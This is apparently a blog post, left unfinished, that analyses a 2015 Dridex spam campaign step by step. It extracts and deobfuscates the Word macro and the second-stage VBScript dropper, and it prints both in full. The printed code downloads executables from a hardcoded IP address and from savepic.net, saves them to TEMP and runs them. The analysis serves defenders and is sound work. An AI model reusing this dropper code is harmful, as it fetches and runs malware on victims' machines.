Dridex Spam with Pastebin VBS Dropper

Recently (May 2015), spammers started sending out a new form of MS Word macro based spam. The result of the full infection is the same as before (Dridex), but the dropper used was different in that the Word doc is a MIME file type with a MSO object containing a macro that downloads a script from pastebin, which then downloaded the Dridex EXE and possibly others.

Below is a summary of the attack followed by a full analysis and walkthrough of a specific sample I collected from hybrid-analysis.com.

Kill Chain Style Summary
  • KC1 - Recon: This isn't a very useful stage to discuss for this attack, but in some sense this is collecting a list of known valid email addresses to spam.
  • KC2 - Weaponization: Attacker embeds malicious auto-run macro in a Word document.
  • KC3 - Delivery: Spam, user receives malicious Word doc with macro via email.
  • KC4 - Exploit: In this case the exploit is social engineering by the attackers. The spam exploits the user's trust to open the document and run the macro by claiming to be a shipping notice, invoice, etc.
  • KC5 - Installation:

    • Stage 1 - The malicious Word macro runs and reaches out to pastebin and does a raw download of text. This text is a script that runs and grabs the 2nd stage.
    • Stage 2 - The 2nd stage is downloaded and executed, followed by possibly another executable.
  • KC6 - Command & Control: The Dridex malware comes with a list of IP addresses it will attempt to contact for command and control.
  • KC7 - Actions on Objectives: The Dridex malware watches you log in to banks and possibly other websites and exports your credentials to the attackers.
Static Reverse-Engineering

I started with this sample of the document I found from hybrid-analysis.com with MD5 7e7db8ff867711bad6e187bcc6df04c4. Even though hybrid-analysis.com has a pretty good automated analysis of this attack, it's useful practice to see how this can be done by hand pretending you know nothing about it, so here we go...

First we have the Word doc, checking out the files shows it is actually a MIME file which means it is the XML style format of Office document, one rarely used today:

$ file hmaury_AD1A96593A0.doc 
hmaury_AD1A96593A0.doc: MIME entity text

Looking at the text of the file confirms this and, near the end, shows there are 3 sections, the most interesting of which is editdata.mso which is inside the file encoded in base64.

------=_NextPart_01D06A95.EB250E50
Content-Location: file:///C:/75032689/file0745.files/filelist.xml
Content-Transfer-Encoding: quoted-printable
Content-Type: text/xml; charset="utf-8"

<xml xmlns:o=3D"urn:schemas-microsoft-com:office:office">
 <o:MainFile HRef=3D"../file0745.htm"/>
 <o:File HRef=3D"editdata.mso"/>
 <o:File HRef=3D"filelist.xml"/>
</xml>
------=_NextPart_01D06A95.EB250E50--

The mso object can be recovered by cutting and pasting the base64 ASCII into a file (I called it b64.raw) and running it through base64.

$ base64 -di b64.raw > mso.bin
$ hexdump -Cv mso.bin | head
00000000  41 63 74 69 76 65 4d 69  6d 65 00 00 01 f0 04 00  |ActiveMime......|

You can now examine the MSO and extract the VBA macro code using oledump from Didier Stevens.

$ oledump.py mso.bin 
1:      1157 'PROJECT'
2:       473 'PROJECTwm'
3: m     999 'VBA/Class1'
4: m    1000 'VBA/Class10'
5: m    1000 'VBA/Class11'
6: m    1000 'VBA/Class12'
7: m    1000 'VBA/Class13'
8: m    1000 'VBA/Class14'
9: m    1000 'VBA/Class15'
10: m    1000 'VBA/Class16'
11: m    1000 'VBA/Class17'
12: m     999 'VBA/Class2'
13: m     999 'VBA/Class3'
14: m     999 'VBA/Class4'
15: m     999 'VBA/Class5'
16: m     999 'VBA/Class6'
17: m     999 'VBA/Class7'
18: m     999 'VBA/Class8'
19: m     999 'VBA/Class9'
20: M    1877 'VBA/Module1'
21: M    2011 'VBA/Module11'
22: M    1414 'VBA/ThisDocument'
23:      5423 'VBA/_VBA_PROJECT'
24:      1015 'VBA/dir'

From this we can see items 3-22 are macros. Considering most are marked with a little 'm' instead of a big 'M', which means they basically have no interesting content, except for 20-22, I checked those out first.

$ oledump.py -s 20 -v mso.bin 
Attribute VB_Name = "Module1"

Public Function GQQSfwKSTdAvZbHNhpfK(ByVal Data As String, ByVal Password As String) As String
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
    Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
    F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
    Y = (Y + F(Y) + 1) Mod 256
    Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
GQQSfwKSTdAvZbHNhpfK = StrConv(Key, vbUnicode)
End Function

A decoding function, no doubt that will come in handy...

$ oledump.py -s 21 -v mso.bin 
Attribute VB_Name = "Module11"
Sub oooooooooooooooooooood()
Set nNNVNJsdf = CreateObject(GQQSfwKSTdAvZbHNhpfK("OUVSrL.ZONJVVR", "blrn"))
uigfCVHjsdf = GQQSfwKSTdAvZbHNhpfK("�0D/-rcqvg`kl,amo-fmulnmcf,rjr=k?uQQNiSgN", "QRnox")
Call nNNVNJsdf.Open(GQQSfwKSTdAvZbHNhpfK("�ej", "CgvciBJ"), uigfCVHjsdf, False)
nNNVNJsdf.Send
Set uyUIGTusdffg = CreateObject(GQQSfwKSTdAvZbHNhpfK(")�����ile,DkngQ{qvgoM`hgav", "fabZe"))
   pppiowehurgf = Environ(GQQSfwKSTdAvZbHNhpfK("b+��", "HOtTFV")) & GQQSfwKSTdAvZbHNhpfK("��9��wgde{DW,t`q", "cTtVAlg")
Set yuTYUewffsdf = uyUIGTusdffg.CreateTextFile(pppiowehurgf, 2)
yuTYUewffsdf.Write nNNVNJsdf.ResponseText
yuTYUewffsdf.Close
Set pppMKOJKojiosdf = CreateObject(GQQSfwKSTdAvZbHNhpfK("=���l,Crrnkacvkml", "pgQkved"))
pppMKOJKojiosdf.Open Environ(GQQSfwKSTdAvZbHNhpfK("����", "CeAMbIa")) & GQQSfwKSTdAvZbHNhpfK("�9��wgde{DW,t`q", "PqecVo")
End Sub

$ oledump.py -s 22 -v mso.bin 
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

Sub HB87ghHVV()
oooooooooooooooooooood
End Sub
Sub AutoOpen()
    HB87ghHVV
End Sub
Sub Workbook_Open()
    HB87ghHVV
End Sub

Note: You can also get to this point directly from the .doc file by using the olevba.py tool, but I wanted to show the "hard" way also. This was also how I quickly checked these are the only "interesting" streams in the file.

Here we see the AutoOpen() and Workbook_Open() functions that call function HB87ghHVV() when the document opens, this then immediately calls the function called oooooooooooooooooooood. That function calls the decode routine with CreateObject(GQQSfwKSTdAvZbHNhpfK("OUVSrL.ZONJVVR", "blrn")), this tells us the password used for decode is "blrn" and the others similarly placed arguments in the further calls to GQQSfwKSTdAvZbHNhpfK(). To continue, we'll have to run the VBA code and find out is done (although we know the answer, a pastebin.com script download and execution.)

VBA Debugging

Running through the first true function call in item 21, the script leads to the nNNVNJsdf variable being converted to "MSXML2.XMLHTTP" as seen in the photo below:

Doing this again with the next line reveals the pastebin link (with some minor errors due likely to oledump issues or cross OS cut & paste with odd characters).

The next line can be broken into two calls and rebuilt with the strings we now know:

The next few lines set the file name and location of the .vbs dropped and create it, setting the contents to the results of the pastebin.com GET request.

Finally, the last lines are used to use Shell.Application to start the vbs file using the default application.

VBScript

Here is the next step, the contents of the pastebin.com post that is run by Windows as GYgywefgyFU.vbs with the Windows Scripting Host wscript.exe.

dim tYTtttdf: Set tYTtttdf = createobject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80) ) 
dim jhvhjHHHH: Set jhvhjHHHH = createobject(Chr(65) & Chr(100) & Chr(111) & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109) ) 
tYTtttdf.Open "GET", "http://91.226.93.110/bt/get1.php", False 
tYTtttdf.Send 
Set tYTtttdfdfge = WScript.CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) ).Environment(Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115) ) 
tYTtttdfdfgesdf = tYTtttdfdfge(Chr(84) & Chr(69) & Chr(77) & Chr(80) ) 
ouiUYudff = tYTtttdfdfgesdf + Chr(92) & Chr(49) & Chr(50) & Chr(51) & Chr(51) & Chr(50) & Chr(49) & Chr(49) & Chr(46) & Chr(101) & Chr(120) & Chr(101)  
with jhvhjHHHH 
   .type = 1  
    .open 
    .write tYTtttdf.responseBody 
    .savetofile ouiUYudff, 2  
end with 
Set ouiUIysdff = CreateObject(Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) ) 
ouiUIysdff.Open ouiUYudff 

dim iiiiiiiiidff: Set iiiiiiiiidff = createobject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80) ) 
dim jhvHVKfdg: Set jhvHVKfdg = createobject(Chr(65) & Chr(100) & Chr(111) & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109) ) 
iiiiiiiiidff.Open Chr(71) & Chr(69) & Chr(84) , Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(115) & Chr(97) & Chr(118) & Chr(101) & Chr(112) & Chr(105) & Chr(99) & Chr(46) & Chr(110) & Chr(101) & Chr(116) & Chr(47) & Chr(54) & Chr(56) & Chr(51) & Chr(53) & Chr(56) & Chr(48) & Chr(49) & Chr(46) & Chr(103) & Chr(105) & Chr(102) , False 
iiiiiiiiidff.Send 

Set opdfffffff = GetObject(Chr(119) & Chr(105) & Chr(110) & Chr(109) & Chr(103) & Chr(109) & Chr(116) & Chr(115) & Chr(58) & Chr(92) & Chr(92) & Chr(46) & Chr(92) & Chr(114) & Chr(111) & Chr(111) & Chr(116) & Chr(92) & Chr(99) & Chr(105) & Chr(109) & Chr(118) & Chr(50) )
Do
Running = False
Set colItems = opdfffffff.ExecQuery(Chr(83) & Chr(101) & Chr(108) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(42) & Chr(32) & Chr(102) & Chr(114) & Chr(111) & Chr(109) & Chr(32) & Chr(87) & Chr(105) & Chr(110) & Chr(51) & Chr(50) & Chr(95) & Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115) )
For Each objItem In colItems
If objItem.Name = Chr(49) & Chr(50) & Chr(51) & Chr(51) & Chr(50) & Chr(49) & Chr(49) & Chr(46) & Chr(101) & Chr(120) & Chr(101)  Then
Running = True
Exit For
End If
Next
If Not Running Then
WScript.Sleep 3000
End If
Loop While Not Running
dim ooooooooodf: Set ooooooooodf = createobject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80) ) 
dim dsfsdfsdfg: Set dsfsdfsdfg = createobject(Chr(65) & Chr(100) & Chr(111) & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109) ) 
ooooooooodf.Open Chr(71) & Chr(69) & Chr(84) , Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(115) & Chr(97) & Chr(118) & Chr(101) & Chr(112) & Chr(105) & Chr(99) & Chr(46) & Chr(110) & Chr(101) & Chr(116) & Chr(47) & Chr(54) & Chr(56) & Chr(51) & Chr(50) & Chr(55) & Chr(50) & Chr(57) & Chr(46) & Chr(103) & Chr(105) & Chr(102) , False 
ooooooooodf.Send

Deobfuscating this is actually rather easy. You can just modify every "createobject()" or other beginning to a line to say Wscript.echo() instead, and a popup will come up showing the outcome of all the Chr() encoding. Here's an example, the top line is the original, the second line is modified to pop up the box you see, and the 3rd line is what's really happening - the select statement.

I essentially did this on every line and produced the following deobfuscated script.

dim tYTtttdf: Set tYTtttdf = CreateObject(Microsoft.XMLHTTP)
dim jhvhjHHHH: Set jhvhjHHHH = Adodb.Stream

Microsoft.XMLHTTP.Open "GET", "http://91.226.93.110/bt/get1.php", False
Microsoft.XMLHTTP.Send

Set tYTtttdfdfge = WScript.Shell
tYTtttdfdfgesdf = TEMP 
ouiUYudff = TEMP + \1233211.exe 

with jhvhjHHHH 
    .type = 1  
    .open 
    .write tYTtttdf.responseBody 
    .savetofile C:\Users\[username]\AppData\Local\Temp\123321.exe, 2  
end with 

Set ouiUIysdff = CreateObject(Shell.Application)
Shell.Application.Open C:\Users\[username]\AppData\Local\Temp\123321.exe
dim iiiiiiiiidff: Set iiiiiiiiidff = createobject(Microsoft.XMLHTTP)
dim jhvHVKfdg: Set jhvHVKfdg = createobject(Adodb.Stream)

Microsoft.XMLHTTP.Open GET,http://savepic.net/6835801.gif, False 
Microsoft.XMLHTTP.Send

Set opdfffffff = GetObject(winmgmts:\\.\root\cimv2)

Do
Running = False
Set colItems = opdfffffff.ExecQuery(Select * from Win32_Process)

For Each objItem In colItems
If objItem.Name = 1233211.exe  Then
Running = True
Exit For
End If
Next
If Not Running Then
WScript.Sleep 3000
End If
Loop While Not Running

dim ooooooooodf: Set ooooooooodf = createobject(Microsoft.XMLHTTP)
dim dsfsdfsdfg: Set dsfsdfsdfg = createobject(Adodb.Stream)

Microsoft.XMLHTTP.Open GET,http://savepic.net/6832729.gif, False
Microsoft.XMLHTTP.Send

[To be continued...this post is a work in progress.]